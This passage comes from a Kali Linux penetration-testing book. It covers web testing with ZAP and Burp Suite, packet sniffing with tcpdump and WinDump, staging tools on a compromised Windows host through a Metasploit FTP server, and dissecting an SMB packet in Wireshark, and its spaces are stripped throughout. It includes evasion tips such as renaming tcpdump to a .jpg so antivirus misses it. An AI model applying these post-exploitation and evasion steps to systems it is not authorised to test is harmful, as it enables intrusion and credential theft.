ZAPwithasession.PersistisanoddwaytodescribetheveryfirsttimeyouuseZAPbutthatiswhatyouareasked.Wearegoingtonameoursessiongeneric-corp=ws2K12-01becauseitisasessionofWindowswebservers.
HittingtheStartbuttononthedialogopensafile-savedialog.WearegoingtocreateafoldercalledZAPandputthefileinthatfolder.
Finally,weseethemaindialogwithitsseverallocationsandtabs.WearegoingtostartbytypingaURLinthefieldcalledURLtoattack:.
Thereisnotalotofdataonthetestboxbutwhateverproblemsithas,wecanseefromtheZAPdialog.Noteinthefollowingimage,ZAPisshowingtheactiveattack,whichistestingformanyvulnerabilities.
UsingZAPasanattackproxy
ZAPworkswellasastandalonetool,butitisevenbetterwhenusedasaproxy.YoucanuseFirefox,orinthiscaseIceweasel,asyourattackcontrolpanelandrunallthetrafficthroughZAP.ClickthebuttontogettheFirefoxextension.
ThebuttonopensalocalwindowinFirefox/IceWeasel.
ClickontheClicktosetup!button.YouwillgetthestandardinstallsuccessdialogfromIceWeasel.
Next,youwillgetadialogaskingifyouwanttoenablethesiteasaBlug-n-Hackprovider.YouwillhavetoacceptthatyouaresettingupaMan-in-the-Middleproxy,withwhichyoucaninterceptandmodifyalltraffictoyourbrowser.
ThenexttwoimagesarethehelpscreensforPlug-n-Hack(PNH)andOWASPZAP.WewillusetheZAPcommandsfortheremainderofthissection.
TheZAPcommandsareprettysimpletouse.WearegoingtorunanHTTPsessionandspideracoupleofsites.Thesearesitesthatbelongtous,andwedonotgiveyoupermissiontoattack/testoursites.Pleasetestyourown!
WewillstartbyspideringthelocallabWindowsServer2012webserver.Spideringcollectsallofthedataandpagenamesavailableinthesiteundertest.Currently,itseemstobehavingalittlebitoftroublewithitsdatabaseconnection.
Next,wewilltrytospideroursite,http://30309.info.Whatisgoingon?Thenotificationisshowingusthatwecannotuse3039.info.Youhavetobeextremelycarefulnottoscansitesyoudonotownorhavetheowner'spermissiontotest.Weknewaheadoftimethattherewasnothingat3039.info,butwhatiftherewassomethingthere?YoumightgetavisitfromlawenforcementofficersoryoumightfindyourIPwasbeingblocked("blackholed").
ItisobviousoninspectionthatthereisatypointheURL,sothespideringfails.Let'stryoursite,http://syswow.com.Wegotothesiteandthenstartthespidercommand.
ReadingtheZAPinterface
LookingbackattheZAPinterface,itisplainthattherehasbeenalotgoingon.Allthesiteswetestedhaveproducedagooddealofdata.Thefirstthingtolookatisthecross-sitescriptingvulnerability(XSS).ThereareXSSvulnerabilitiesonallofthesesites,andinmostcases,therearedozensofvulnerablepages!
WhenyouhavefinishedtheZAPscan,youcanproducereportsasXMLoutputorasHTTPoutput.Eitheroutputisveryeasytocustomizewithyourcompanylogosorextendedtext.
SearchanddestroywithBurpSuiteYoucaneasilyaccessBurpSuitefromtheApplicationsMenu.IfitisnotalreadyintheFavoritespanel,itcanbefoundundertheWebApplicationsAnalysissubmenu,likeOWASPZAP.
BurpSuiteisapowerfulframeworkforwebapplicationtesting.Afavoriteofmanyapplicationsecuritytesters,BurpSuitehasseveralsectionsmarkedbytabs:
BurpSuiteTools
Tab Purpose Tab Purpose
Tab Purpose Tab Purpose
Target Setsthetestsubject Scanner Scansthedomainforvulnerabilities
Proxy UsesBurpSuiteasaproxyservice Spider Makesasitemapofallfilesaccessiblewithinasite
Repeater Sendsindividualpacketsinasessionmultipletimes
Intruder Findsandexploitsunusualvulnerabilities
BurpSuiteUtilitiesandToolConfiguration
Tab Purpose Tab Purpose
Comparer Usedtocompareanytwocharacterstrings
Sequencer Testsforhowrandomyoursessiontokensare
Decoder Replacescodedstringswithplainlanguagestrings
Extender Createsyourowncustompluginsforcomplicatedormulti-stepexploits
Options
Alerts
Wewilldigintothreeofthetoolsinthischapter:
TargetingSettinguptheproxySpideringthetargetsite
Targetingthetestsubject
ClickontheTargettabandtheninsidethatwindow,choosetheScopetab.YoucanaddarangeofIPs,asingleIP,orafullyqualifieddomain(FQDN).Forthisexample,wehavechosenanIPrange.
WecanexcludecertainIPs,andinthiscaseweareexcludingthegatewaydeviceat10.0.0.1andtheKaliLinuxplatformat10.0.0.7.Yourcustomermaywantyoutoexcludevariousmachines,buttogetavalidtestforvulnerabilitiesyouwanttotesteverything.Ifavulnerablemachineisonthesegmentwithyourtestedmachines,itdoesn'tgetanylessvulnerablebybeingignored.
UsingBurpSuiteasaProxy
Thefirstthingyouhavetodoisreconananalysisofthetarget.Todothis,wewillmovetotheProxytab.Theproxyfunction,liketheproxyfunctionoftheOWASPZAPtool,actsasaman-in-the-middlebetweenthebrowseronyourKaliLinuxplatformandthesitesbeingtested.
BurpSuiteopensaproxylisteneratport8080oftheIPv4loopback.Ifthisportisbeingusedbysomeotherapplication,BurpSuitewillsendanalert.YoucansetdifferentoradditionallistenerswiththeProxyListenerOptions.
YouhavetosetyourbrowsertousetheBurpSuiteProxyinyourbrowserconfiguration.Inthiscase,weareusingthedefaultIceWeaselBrowser.
Whenyouputtheproxyinthemiddleofyourbrowsing,itwillcausesiteswithperfectlygoodTLScertificatestocomeupwithanuntrustedalert.ItwillbeeasiertomakesenseofthedataifyousettheBurpSuitecertasaccepted.
InstallingtheBurpSuitesecuritycertificate
Inyourbrowser,whileBurpSuiteisrunning,enterhttp://burpintheaddressbar.ThisopensalocalpagegeneratedbyBurpwhereyoucangetacustomized-for-your-installationCACertificate.
Forthesakeofneatness,savethecertificatetoyour/root/.ssh/folder.Thiswillmakeiteasiertofindlater.Ifyoudiscoveryoudon'thaveahiddendirectorycalled.ssh,youcaneithercreateitwithmkdir~/.sshoryoucancreateyourownKaliLinuxSSHkeysetbytypingssh-keygen,whichwillcreatethefoldertoputthenewkeysinto.
OnceyouhavesavedthenewCAcertificate,gototheIceWeaselPreferences|Advanced|Certificatestab.ClickonViewCertificates,whichopensthecertificatemanager.ChoosetheAuthoritiestabandclicktheImportButton.
Navigatetoyour/root/.sshfileandselectthenewcacert.derfile.
Thisopensadialogwhereyoucouldusethecerttoidentifywebsites,identifyemailusers,oridentifysoftwaredevelopers.Youcouldchooseallthreeatonce,butinthiscaseweareonlyusingittoidentifywebsites.
Tocheckandseeifyourproxyissetupproperly,trytogotoanHTTPsite.Then,gobacktoyourBurpSuiteWindow.TheProxyTabandtheInterceptTabwithinthatwindowshouldbothbehighlightedandthereshouldbesomesiteinformationinthedisplay.Inthiscase,wehavegonebacktohttp://30309.info.
Atthispoint,wehavenotmadeanyovertmovestotestthesite.Weareabouttotrythis.Asyoumayhavenoticed,ourPlug-N-HacktoolisavailableforBurpSuiteProxyaswell.Thisdoesnotseemtohavefullsupport,soweleaveitfornowandwilladdressitinthenexteditionofthisbook.
SpideringasitewithBurpSpider
ClickontheSpidertab.Sincewehadaverylimitedinternalscope,wearegoingtospiderthehttp://30309.infosite.Todothat,wehavetosetacustomscope.Todothis,justclickonUsecustomscopeandaddthesitetothescope.
Wecanalsoexcludeitemsfromournewscopeforspidering,butwewilljustleavetheClassCnetworkinplace,eventhoughitmaynotproducemuchusefuldata.Tostartthespider,justclicktheSpiderispausedbutton.DoingsochangesthebuttontexttoSpiderisrunning.
TheSpiderhastriggeredthesite'ssecurityfeatureswhilerunningthroughthemanypagesonthesite.Thisisgoodforustoknowbecausethesitedefencesareworkingasexpected.TheSpiderautomaticallynotesformstobefilledandasksforpossiblelogincredentialsthatwillallowittodigdeeperinthesite.
Thisisagoodsign,butyoucanslowdownthespidersothatitdoesn'ttriggerasecurityresponse.Forinstance,youcanpassivelyspiderthesiteasyoumanuallysurfthroughthesite.Plainly,goodsecuritycontrolsonyoursitecanmakeithardertoinvestigateasiteorfortheevilhackertotakeoveryoursite.
SummaryInthischapter,youlearnedthebasicsofapplicationtestingandthethreemostcommonclassesofapplicationexploits.YoualsolearnedhowtosetupandrunArmitage,OWASPZAP,andtheBurpSuite.Thereismuchmoretolearnaboutattacksonwebapplications,andwehopetodomorewiththistopicinthefuture.
Inthenextchapter,youwillbetacklingSniffingandSpoofing,whichareusefultoolstoaddtoyourtoolbeltforattackingwebsitesandwebapplications.
Chapter5.SniffingandSpoofingNetworksniffinghelpsyouunderstandwhichusersareusingservicesyoucanexploit,andIPspoofingcanbeusedtopoisonasystem'sDNScache,sothatalltheirtrafficissenttoamaninthemiddle(yourdesignatedhost,forinstance),aswellasbeinganintegralpartofmoste-mailphishingschemes.SniffingandspoofingareoftenusedagainsttheWindowsendpointsinthenetwork,andyouneedtounderstandthetechniquesthatthebadguysaregoingtobeusing:
SniffingNetworkTraffic:Therearemanytoolstosniffnetworktrafficbuttheyallworkonthesameprinciple.AllTCP/IPpacketsarereadablebyyourNetworkInterfaceCard(NIC).TherearehundredsofprotocolsandthousandsofTCP/IPports.Itissafetosaythatyouwillnothavetolearnaboutallofthem,butyouwillprobablylearnaboutadozen.SpoofingNetworkTraffic:TheTCP/IPsystemistrusting.Thegeneralassumptionunderlyingthewaynetworksworkisoneofanexpectationoftrustworthiness.Whathappenswhenamalefactordecidestoplaytrickswiththewaynetworkpacketsareputtogether?Thisisspoofing.Forexample,whenanICMPpacketisbroadcastedtoalargenumberofhostsbuttheoriginIPaddresshasbeenforgedtopointtoaspecifictargethost,allofthehostssenttobroadcastpacketsendanunexpectedacknowledgementtothevictim.ThisisaSmurfAttackandittiesupthevictimmachine.TheSmurfAttackisoneofthemanydenialofservice(DoS)attacks.
SniffingandspoofingnetworktrafficYouhavemostlikelynoticedthemottoofKaliLinux,Thequieteryouarethemoreyouareabletohear.Thisistheheartofsniffingnetworktraffic.Youquietlylistentothenetworktraffic,copyingeverypacketonthewire.Everypacketisimportantoritwouldn'tbethere.Thinkaboutthatforamomentwithyoursecurityhaton.Doyouunderstandwhysendingpasswordsincleartextissobad?Well,protocolslikeTelnet,FTP,andHTTPsendthepasswordsincleartext,insteadofanencryptedhash.Anypacketsnifferwillcatchthesepasswords,anditdoesn'ttakeageniustolaunchasearchofthepacketcapturefortermslikePassword.Noneedtocrackahash,it'sjustthere.Youcanimpressamanageroraclientbyjustpullingtheirclear-textpasswordoutofthinair.Thebadguysusethesametechniquetobreakintonetworksandstealmoneyandsecrets.
Morethanjustpasswordscanbefoundwithinyourcopiedpackets.Packetsniffersarenotonlyusefulforpacketpurposes.Theycanbeusefulwhenlookingforanattackeronthenetwork.Youcan'thidefromapacketsniffer.Packetsniffersarealsogreatfornetworkdiagnostics.Forinstance,asluggishnetworkcouldbecausedbyaserverwiththedyingNICthatistalkingawaytonoone,orarunawayprocesstyingupmanyotherswithresponses.
Ifsniffingislisteningtothenetwork,thenspoofingislyingtothenetwork.Whatyouaredoingishavingtheattackingmachinelietothenetworkandhavingitpretendtobesomeoneelse.Withsomeofthetoolsbelow,andwithtwonetworkcardsontheattackingmachineonthenetwork,youcanevenpassthetrafficontotherealhostandcapturealltraffictoandfromboththemachines.Thisisaman-in-the-middleattack(MitM).Inmostcasesofpentestingyouarereallyonlyafterthepasswordhashes,whichcanbeobtainedwithoutafullMitMattack.JustspoofingwithoutpassingthetrafficonwillrevealpasswordhashesintheARPbroadcastsfromNetBIOS.
Tip
HackerTip
AdvancedHackingLab–IfyouareplanningtorunfullMitMattacksonyournetwork,youwillneedahostwithatleasttwoNICsinadditiontoyourlaptopwithKaliLinuxinstalled.YourMitMhostcanbeavirtualorphysicalserver.
SniffingnetworktrafficPacketsniffingisoneofthebestwaystounderstandanetwork.ItmaylookabitantiquatedtohaveaterminalwindowstreamingtextaspacketsarereadbytheNIC,butitisthebasisofallnetworkanalysis.Weshowseveralsniffers,whichyoucanusetostealcleartextpasswords,maptheIPaddressesofalltherespondingmachines,andcollectNTLMpacketswithusernamesandpasswordhashes.
Basicsniffingwithtcpdump
Tcpdumpisasimplecommand-linesniffingtoolfoundonmostrouters,firewalls,andLinux/UNIXsystems.ThereisalsoaversionthatrunsonWindowsmadebymicroOLAP,whichcanbefoundathttp://www.microolap.com/products/network/tcpdump/.It'snotfreebutthereisatrialversion.Thenicethingaboutthisversionisitisonesimpleexecutablewhichcanbeuploadedtoasystemandusedwithoutinstallingextradrivers.Itcanbelaunchedonacrackedsystemtowhichyouhaveshellaccess.YourshellmusthaveSYSTEMorAdministratorlevelaccesstoworkbecauseNICswillnotruninthepromiscuousmodewithoutadministrativeprivileges.AnotherpacketdumptoolisWindump.exe,availablefromhttp://www.winpcap.org/windump/install/,whereyouwillalsofindWinPcap.exe,whichyouneedonthemachinetoruntcpdumporwindump.
OnLinux/UnixsystemsandrouterslikeCiscoorJuniper,itislikelytobeinstalledbydefault.IfyoucannotfinditonaLinuxsystem,itisineverydistributionrepository.
Tcpdump'sbestuseisnotcollectingdataforreal-timeinspection,butcapturingdatatoafileforlaterviewingwithatoollikeWireshark.Becauseofitssmallsize,portability,andusefromthecommandline,tcpdumpisgreatforthistask.
Below,weseetcpdumprunningwithoutsavingtoafile.Pleasenotethatwecanseethepacketsastheypassthroughtheinterface.
Thecommandwearerunningis:
tcpdump-v-ivmnet1
The-vputstheapplicationintoverbosemode.The-ivmnet1tellstheapplicationtoonlycapturethepacketsonthevmnet1interface.ByhittingtheEnterkey,tcpdumpwillstartcapturingpacketsanddisplaythemonthescreen.Tostopthecapture,hitCtrl+C.
Now,inthismode,thedataisgoingtopasstooquicklyforanyrealuse,especiallyonalargenetwork,sonextwewillsavethedatatoafilesowecanviewitatourleisureandwithbetterviewingtools:
Nowwewillrunthefollowingcommandandpipetheoutputtoa.pcapfile.Notethatthereisn'ttheoutputtothescreenthatyousawearlier.Thedataisgoingtothefilenowandnotthescreen.Runthefollowingcommand:
tcpdump-v-ivmnet1-wkalibook-cap-20150411.pcap
Noteweareadding-wkalibook-cap-20150411.pcaptothecommand.Theflag-wtellstheapplicationtowriteouttothefilenamedkalibook-cap-20150411.pcap.Thefileshouldhaveadescriptivename,andIamalsoincludingthedateinthefilename.Ifyoudothiskindoftestingfromtimetotimeanddon'tdeletethefilesfromthesystem,itcanbeconfusing,asseveralofthesefilesareonthesamesystem..pcapisthestandardfilenameextensionusedintheindustryforpacketfilesandstandsforPacketCaptureFile.Thisfilecanbemovedtoanothermachineusingfiletransfermethods:
Noticethatthiscaptureisdoneonamachinenamedwander.Wanderisthefirewallofournetwork,whichisthebestplacetocapturenetworktraffic.WewillnowtransferittoourKaliboxtoinspectthepackets:
First,onourKalimachine,weneedtostartuptheSSHservice.Aswehavementionedbefore,KaliincludesallthenetworkservicesthatyouwouldfindonanyLinuxserver,butforreasonsofsecurity,allservicesareturnedoffbydefaultandmustbestartedmanuallyforuse.We'llfireupSSHwiththefollowingcommand:
servicesshstart
WecanseetheSSHservicestart,andbyrunningthenetstat-tlcommandwecanseewehavetheSSHservicelisteningonallinterfaces.WearenowgoingtotransferthefilesfromthefirewalltoKali.
OntheKalicommandline,runthefollowingcommand:
ifconfig
ThiswillshowyouyourIPaddress:
Now,fromthefirewall,transferthefiletoKalibyrunningthefollowing:
scpkalibook-cap-20150411.pcap
[email protected]:kalibook/kalibook-cap-20150411.pcap
Acceptthekeywarningbytypingyesandthenenteringtherootpasswordwhenprompted.
Tip
Note:
Here,wetriedtosendittothewrongdirectory.Thereisn'tadirectorynamedworkspace.Ifyouseethistypeoferrorthisismostlikelythereason.NoticewehavemovedthisfiledirectlytotheprojectdirectoryontheKalibox.
Whenyouaredone,don'tforgettoturnSSHoff.
servicesshstop
So,thisisgoodforsystemswithsshbuiltin,butwhataboutWindows?SSHclientsarethinonthegroundinWindows-land.Mostpeopleseemtouseputty.exe,butyourcrackedserversystemisunlikelytohaveputtyinstalled.We'llfallbacktogoodoldFTP.MostWindowssystemscomewiththeFTPcommand-lineutility.Sometimesthesecurity-conscioussysadminremovesftp.exefromthemachineandthisblocksthistypeoffiletransfer.Normally,it'sthereforyouruse.Ifitisnotthere,gotohttp://www.coreftp.com/anddownloadtheCoreFTP.Theyhaveafreeversionthatwouldworkforthisapplication,andyoucanalsogetapaidlicenseformorefeatures.
WearenowgoingtotransferthetcpdumputilitytoourcrackedWindowsmachinetocapturesomepackets.
First,wewillneedtosetuptheFTPserviceonKalitotransferbackandforthto.WewilluseourfriendMetasploitforthis.MetasploithasaneasytouseFTPserviceforthispurpose.Wewillneedafoldertoworkfrom:
1. OpenthecomputerontheDesktopontheKalibox.2. ClickontheHomelinkintheleft-handlist.3. RightclickinthefoldersareaandpickCreatenewfolder.4. Nameitpublic,thenright-clickonthefolderandgotoProperties.5. ClickonthePermissionstab,giveboththeGroupandOthersread/write
accessandtheabilitytocreateanddeletefiles,asseenasfollowing:
NowcopytheNDISdriverandtcpdump.exetothepublicfolder.Youwillwanttorenamethetcpdumpfileincaseofanti-virusand/orIDS/IPSsystemsthatmightbeinuseonthetargetnetwork.Ihavechangedthenametotdpdump.jpg.Themicroolap_pssdk6_driver_for_ndis6_x86_v6.1.0.6363.msidriverfile
willnormallypassOK.(Thesefilesareinthetoolsfolderconnectedtothechapter.)
NowfireupMetasploitontheKaliboxbygoingtoApplications|KaliLinux|SystemServices|community/prostarttostarttheservice.Oncetheservicehasstarted,openaTerminalwindowandtype:
msfpro
Metasploitwillstart.OnceMetasploitisrunning,changeintoyourworkspaceforyourproject.Myworkspaceisnamedkali-book-int-20150300:
workspacekali-book-int-20150300
NowwewillconfiguretheFTPserverandfireitup.ToloadtheFTPserver,typethefollowing.
useauxiliary/server/ftp
showoptions
Youwillseetheconfigurationoptions.
WeneedtochangetheFTPROOTsettingtype:
setFTPROOT/root/public
showoptions
Byrunningtheshowoptionscommandagain,wecancheckourconfiguration.We'rereadytogo.Typethefollowingcommand:
run
You'llseetheoutputasthefollowing:
Youcanseetheservicebyrunning:
netstat-tl
Nowlet'scopyoverourfilestoourpwnedWindowsmachineandcapturesometastypackets!WewillbeusingWinDumpforthisprocessonWindows.
MorebasicsniffingwithWinDump(Windowstcpdump)
WinDumpisthetcpdumpforWindows.ItisopensourceandundertheBSDlicense.Youcandownloaditathttp://www.winpcap.org/windump/.
YouwillalsoneedtheWinPcapdrivers,sobesuretogetthemfromthesitealso.
WinDumpwillworkfromacommandline,PowerShell,oraremoteshell.Liketcpdump,itwillwritetoafilewhichyoucandownloadforofflineviewing.
Nowlet'scopythefilesovertoourpwnedWindowsmachine.Fromeitheracommandline,PowerShell,orfromanexploitedremoteshell,logintotheFTPserveronKali.MyKaliboxisat192.168.202.129:
ftp192.168.202.129
Thesystemwillaskforausername;justhitEnter.Itwillalsoaskforapassword,sojusthitEnteragainandyou'llbeloggedon.Then,type:
dir
Thiswillshowthecontentsofthedirectory:
Asseenabove,weseeourWinPcapdriverandourundisguisedWinDump.exe.Todownloadthem,justtype:
getWinPcap_4_1_3.exe
Then
getWinDump.exe
We'vegotourfiles,sonowlogout:
quit
Aswecanseeintheprecedingscreenshot,wenowhaveourfileslocallybytyping:
typing:
dir
WecanalsoseethefilesbeingtransferredonKalifromtherunninginstanceinMetasploit:
NowlogintoyourpwnedWindowsmachineeitherthroughRDPorstartaVNCsessionfromMetasploit.FromtheDesktop,gotothefolderwhereyoudownloadedyourfilesanddouble-clicktheWinPcap.exefile,asseenbelow:
Thenextscreenstartstheactualinstallationofthedriver.Besuretokeepthecheckboxcheckedtorunautomatically.Thiswillbeabighelplaterifyouhavetogoback:
Withthisdone,youarereadytocapturesomepackets.
Fireupeitheracommand-linewindoworPowerShellandgotothedirectorywhereyouhaveWinDump.Here,wehaveitintheDownloadsfolder.Runthefollowing.
.\WinDump.exe
Soonyouwillstartseeingpacketspassthroughtheinterface.Howmuchyouseeonyourscreendependsonhowmuchyoursystemistalkingtothenetwork.Youcantellifthereiswaytoomuchdatatotrytounderstandinreal-time.Also,inthismode,youareonlyseeingtheheaderinformationofthepacketandnotthecompletepacketanditsinformation.Below,youwillseemarkedinyellowtherunningofthecommand,andmarkedingreenthatitislisteningontherunninginterface.Afterthat,youseethepacketscomingin.
Nowlet'sdumpourcapturetoafilesowecanreallyseewhatwehavebyrunningthefollowing:
.\WinDump.exe-wWin7-dump-20150411.pcap
The-wfiletellsWinDumptowritetothefile,Win7-dump-20150411.pcap.Asyoucanseebelow,runningWinDumpwiththe-hflagwillgiveyouashorthelpifyoueverforgetthewriteflag.Afterrunningforabit,hitCtrl+Ctostopthecapture.Youcannowseewehaveafilecontainingourcapturedpackets.
Afterthecapture,weneedtosendthefilebacktoKalitoanalyzethepackets.
Windowsfilesharingworksforthis.IfPrinterandFileSharingaren'tturnedon,enableittosharethefilesandreturnbacktoyourKalibox.
Tip
HackerTip
ThisprocessmaycauseanalertifthenetworkadministratorshavesomethinglikeTripwirerunningtocheckforconfigurationchanges,orhaveArcSightsetuptoalertloggedactionsbyadministrativeusers.
KalihasSMBfilesharingandNetBIOSdiscoverybuiltrightintoitsfilemanager.ClickontheComputericononyourdesktopandthenclickBrowseNetworks;youwillseeaniconforWindowsNetworksasseenbelow:
ByclickingtheWindowsNetworks,KaliwilldiscoveranyWorkgroupsorDomainsonthelocalnetwork.Asseenbelow,weseeourlocalworkgroup,IVEBEENHAD;clickonitandyouwillseethecomputersonthenetwork:
Next,clickonthevictimcomputerandloginwiththeAdministratoraccountassociatedwiththeworkgroupordomainyouhavethecredentialsfor,andyouwillnowseetheshareddirectoriesonthesystem.Drilldownintothefoldersandgotothedirectorywherethepacketcaptureis.ForusitwillbeUsers|Administrator|Downloads:
Nowthatwehavegottentowherethefileis,clickontheComputericonagainandopenupanotherFileManagerwindowandgotoyourevidencedirectoryforyourproject.Then,justdraganddropthefileontoKali'sdrive:
PackethuntingwithWireshark
Wiresharkistheindustrydefactostandardforpacketsniffingandanalyzingnetworkpackets.NotonlydoesitworkforTCP/IPbutjustabouteveryotherknownprotocolandstandard.ThereareversionsofWiresharkforeverywell-knownoperatingsystem.YouwillneedtheWinPcapdriversfromearlierinthechaptertorunWiresharkonWindows.OnLinux/UnixandOSX,thedriversaregenerallyalreadythere.WiresharkcomespreloadedonKali.
Wiresharkisanextremelycomplexapplication.Therehavebeenmanybookswrittenonitsuse.Idosuggestgettingoneandlearningthein-depthuseofthistool.Wewillonlycoverthebasicshere.
WhatistheInternetifyoureallythinkaboutit?SomepeoplepointtotheirwebbrowserandsaythereistheInternet.ASysAdminmightgiveyoualongansweraboutserversanddevicestransmittingdataacrossanetwork.Everyoneisrightintheiranswerbutstillreallymissexactlywhatitis.TheInternetispackets.Withoutthepacket,theinformationgoesnowhere.Mostdon'trealizethatTCP/IParetwodifferentprotocolsuiteswhichworkindependentlyofeachother.ThereisIPandthenthereisTCPandUDPwhichrunontopofIP.AllofthisthenrunsontopofInternetFrames.
We'llgetbacktoWiresharkinaminute.First,weneedtounderstandapacket.
Dissectingthepacket
Let'shavealookatapacket.Belowisjustonepacketofinformationpulledfromacaptureddatastream.Pleaserememberthatthisisjustonepacket!
Oh,alittlehistoryhere!Ifyoulookatthestructureofthepacketandlookatthestructureofanoldtelegraphmessage,youwillnoticethestructureisthesame.Yes,apacketisbasicallyatelegram.Alsoremember,Morsecodeisbasicallya4bitbinarylanguage.
Notethatfirstwehavetheframe.Theframecontainsbasicinformationaboutthepacket.YoucanseethebytesonthewireandthatitwascapturedbyWireshark.Thisalsokeepsthetimingofthepackets,andthisisusedinthereassemblyofthepacketswhenreceived:
Frame9:188bytesonwire(1504bits),188bytescaptured(1504
Frame9:188bytesonwire(1504bits),188bytescaptured(1504
bits)
Encapsulationtype:Ethernet(1)
ArrivalTime:Apr12,201501:43:27.374355000EDT
[Timeshiftforthispacket:0.000000000seconds]
EpochTime:1428817407.374355000seconds
[Timedeltafrompreviouscapturedframe:0.002915000seconds]
[Timedeltafrompreviousdisplayedframe:0.002915000seconds]
[Timesincereferenceorfirstframe:9.430852000seconds]
FrameNumber:9
FrameLength:188bytes(1504bits)
CaptureLength:188bytes(1504bits)
[Frameismarked:False]
[Frameisignored:False]
[Protocolsinframe:eth:ip:tcp:nbss:smb]
[ColoringRuleName:SMB]
[ColoringRuleString:smb||nbss||nbns||nbipx||ipxsap
||netbios]
Next,wehavetheIPsectionofyourpacket.WeseethatthiscontainstheMACaddressesofthesourceanddestinationinterfaces.YourMACaddressisyourrealmachineaddress.TheIPpartofthestackdoestheroutingsothatthetwoMACaddressescanfindeachother.
EthernetII,Src:Vmware_07:7e:d8(00:0c:29:07:7e:d8),Dst:
Vmware_45:85:dc(00:0c:29:45:85:dc)
Destination:Vmware_45:85:dc(00:0c:29:45:85:dc)
Address:Vmware_45:85:dc(00:0c:29:45:85:dc)
......0.................=LGbit:Globallyunique
address(factorydefault)
.......0................=IGbit:Individualaddress
(unicast)
Source:Vmware_07:7e:d8(00:0c:29:07:7e:d8)
Address:Vmware_07:7e:d8(00:0c:29:07:7e:d8)
......0.................=LGbit:Globallyunique
address(factorydefault)
.......0................=IGbit:Individualaddress
(unicast)
Type:IP(0x0800)
InternetProtocolVersion4,Src:192.168.202.130
(192.168.202.130),Dst:192.168.202.128(192.168.202.128)
Version:4
Headerlength:20bytes
DifferentiatedServicesField:0x00(DSCP0x00:Default;ECN:
0x00:Not-ECT(NotECN-CapableTransport))
TotalLength:174
Identification:0x033f(831)
Identification:0x033f(831)
Flags:0x02(Don'tFragment)
Fragmentoffset:0
Timetolive:128
Protocol:TCP(6)
Headerchecksum:0xe0b6[correct]
[Good:True]
[Bad:False]
Source:192.168.202.130(192.168.202.130)
Destination:192.168.202.128(192.168.202.128)
[SourceGeoIP:Unknown]
[DestinationGeoIP:Unknown]
ThenextsectionofthepacketiswhereTCPcomesinandsetsthetypeofTCPorUDPprotocoltobeusedandtheassignedsourceanddestinationportsforthetransmissionofthepacket.Thispacketisbeingsentfromaclientmachine(thesource).FromtheaboveIPsection,weseethattheclientIPaddressis192.168.202.130.Below,weseetheclient'sportof49161.Thispacketisbeingsentto192.168.202.128(thedestination)atport445.ThisbeingTCP,areturnrouteisincludedforreturnedtraffic.WecantelljustbythedestinationportinformationthatthisissometypeofSMBtraffic:
TransmissionControlProtocol,SrcPort:49161(49161),DstPort:
microsoft-ds(445),Seq:101,Ack:61,Len:134
Sourceport:49161(49161)
Destinationport:microsoft-ds(445)
[Streamindex:0]
Sequencenumber:101(relativesequencenumber)
[Nextsequencenumber:235(relativesequencenumber)]
Acknowledgmentnumber:61(relativeacknumber)
Headerlength:20bytes
Flags:0x018(PSH,ACK)
000.........=Reserved:Notset
...0........=Nonce:Notset
....0.......=CongestionWindowReduced(CWR):Notset
.....0......=ECN-Echo:Notset
......0.....=Urgent:Notset
.......1....=Acknowledgment:Set
........1...=Push:Set
.........0..=Reset:Notset
..........0.=Syn:Notset
...........0=Fin:Notset
Inpacketinformationlikeabove,0isNoand1isYes.
Windowsizevalue:63725
Windowsizevalue:63725
[Calculatedwindowsize:63725]
[Windowsizescalingfactor:-1(unknown)]
Checksum:0xf5d8[validationdisabled]
[SEQ/ACKanalysis]
[ThisisanACKtothesegmentinframe:8]
[TheRTTtoACKthesegmentwas:0.002915000seconds]
[Bytesinflight:134]
Below,weseethatthisisaNetBIOSsessionusingtheSMBprotocol:
NetBIOSSessionService
MessageType:Sessionmessage(0x00)
Length:130
SMB(ServerMessageBlockProtocol)
SMBHeader
ServerComponent:SMB
[Responsein:10]
SMBCommand:NTCreateAndX(0xa2)
NTStatus:STATUS_SUCCESS(0x00000000)
Flags:0x18
Flags2:0xc807
ProcessIDHigh:0
Signature:0000000000000000
Reserved:0000
TreeID:2049
ProcessID:2108
UserID:2048
MultiplexID:689
NTCreateAndXRequest(0xa2)
[FID:0x4007]
WordCount(WCT):24
AndXCommand:Nofurthercommands(0xff)
Reserved:00
AndXOffset:57054
Reserved:00
FileNameLen:44
CreateFlags:0x00000016
RootFID:0x00000000
Below,wehavebeengrantedaccesstothedatawearerequesting.Wecannowseethatthispacketisinvolvedwithaccessingafile.Theuserwhohasdonethisrequesthasthebelowpermissionstoviewthefilerequested.Wecanseefromabovethatasuccessfulstatuswasgivenforthefilerequest:
AccessMask:0x00020089
0...............................=GenericRead:
GenericreadisNOTset
GenericreadisNOTset
.0..............................=Generic
Write:GenericwriteisNOTset
..0.............................=Generic
Execute:GenericexecuteisNOTset
...0............................=GenericAll:
GenericallisNOTset
......0.........................=Maximum
Allowed:MaximumallowedisNOTset
.......0........................=System
Security:SystemsecurityisNOTset
...........0....................=Synchronize:
CanNOTwaitonhandletosynchronizeoncompletionof
I/O
............0...................=WriteOwner:
CanNOTwriteowner(takeownership)
.............0..................=WriteDAC:
OwnermayNOTwritetotheDAC
..............1.................=ReadControl:
READACCESStoowner,groupandACLoftheSID
...............0................=Delete:NO
deleteaccess
.......................0........=Write
Attributes:NOwriteattributesaccess
........................1.......=Read
Attributes:READATTRIBUTESaccess
.........................0......=DeleteChild:
NOdeletechildaccess
..........................0.....=Execute:NO
executeaccess
...........................0....=WriteEA:NO
writeextendedattributesaccess
............................1...=ReadEA:READ
EXTENDEDATTRIBUTESaccess
.............................0..=Append:NO
appendaccess
..............................0.=Write:NO
writeaccess
...............................1=Read:READ
access
AllocationSize:0
FileAttributes:0x00000000
ShareAccess:0x00000007SHARE_DELETESHARE_WRITE
SHARE_READ
Disposition:Open(iffileexistsopenit,elsefail)(1)
CreateOptions:0x00000044
Impersonation:Impersonation(2)
SecurityFlags:0x03
SecurityFlags:0x03
ByteCount(BCC):47
FileName:\MyVideos\desktop.ini
Alltheabovelinesaretoletonecomputerknowthatonanothercomputerthereexistsafilenamed\MyVideos\desktop.ini.47bytesofinformationwassent.Now,thiswasn'ttheactualfilebutjustalistingofthefile.Basically,thiswouldbethepacketthatmakesafileiconappearinyourwindowmanager.Itsuretakesalottosendjustalittlebitofdata:
No.TimeSourceDestination
ProtocolLengthInfo
109.431187192.168.202.128192.168.202.130SMB
193NTCreateAndXResponse,FID:0x4007
Nowthatweknowabitaboutpackets,let'sgetbacktoWireshark!
SwimmingwithWireshark
